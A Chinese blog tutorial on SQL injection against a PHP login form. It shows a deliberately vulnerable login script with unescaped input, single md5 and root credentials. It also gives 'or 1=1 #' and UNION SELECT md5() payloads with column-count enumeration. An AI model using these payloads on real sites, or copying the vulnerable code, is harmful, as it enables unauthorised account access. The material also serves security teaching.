声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关。
在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。
看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。
 可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。
本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。
当然,实现正面的sql注入需要以下几个条件:
1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。
2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入);
3、登录算法只采用了一层md5算法
/**实例***********start**/
一、先看下这个数据表结构

— 表的结构 `user`
CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(30) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
— 转存表中的数据 `user`
 
INSERT INTO `user` (`id`, `username`, `password`) VALUES
(1, ‘admin’, ‘fcea920f7412b5da7be0cf42b8c93759’);
 

数据表里面存在一个admin用户,它的密码是1234567,md5加密之后的明文

二、看下后台代码
if(!empty($_POST)) {
    $link = mysqli_connect(‘localhost’, “root”, “root”);
    mysqli_select_db($link, “test”);
    mysqli_set_charset($link, “utf8”);
    $username = $_POST[“username”];
    $password = $_POST[“password”];
    $sql = “SELECT * FROM user where username=’$username'”;  
    $res = mysqli_query($link, $sql);
    $row = mysqli_fetch_assoc($res);
    
    if (md5($password) == $row[“password”]) { 
        echo “登录成功”;
       
    }else{
        echo ‘失败’;
    }
}
程序很简单,先到数据库查出一个 用户名username = 变量 的所有记录
再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。
如果一样则登录成功,否则登录失败。

三、前端页面

图片
四、发动攻击
我们的目标是越狱单引号。
如果后台的代码sql是 select * form user where username=’$username’  and password=’ “.md5($password).” ‘;
那我的攻击就简单了。用户名:6666 ‘ or 1=1 #  密码:6666  ; 单引号之前的字符和密码可以随意填。
最后生成的sql是select * form user where username=’6666′ or 1=1 # and password=’6666 ‘; 这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了);
但是我们的程序是取出一个账号的所有信息,再比对密码。
我们希望    $row = mysqli_fetch_assoc($res); 
$row 数组内有一个字段password,和我们提交的密码$password md5后一致。
于是巧构union查询:
图片
用户名:6666 ‘ union select 1,2,md5(123456) as password#  (这里md5(123456) as password很重要)
密码:123456  (这里123456,必须和用户名中的123456一样)
最后生成的sql语句是 : select * form user where username=’6666′ union select 1,2,md5(123456) as password
图片
完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样。所有你的尝试中可能会报错。不过可以依次枚举。
第一次 用户名:6666 ‘ union select 1,2,md5(123456) as password#  
第二次 用户名:6666 ‘ union select 1,2,3,md5(123456) as password#  
第三次 用户名:6666 ‘ union select 1,2,3,4,md5(123456) as password#  
第四次 用户名:6666 ‘ union select 1,2,3,4,5,md5(123456) as password#  
第五次 用户名:6666 ‘ union select 1,2,3,4,5,6,md5(123456) as password#  

最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。
/**实例***********end**/  
最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好!
好吧,扯蛋到此结束。MD都一点半了,睡觉了。
author:小米飞刀
email:2777314125@qq.com

版权声明:本文为miwei230原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:http://www.cnblogs.com/miwei230/p/bruce_mi.html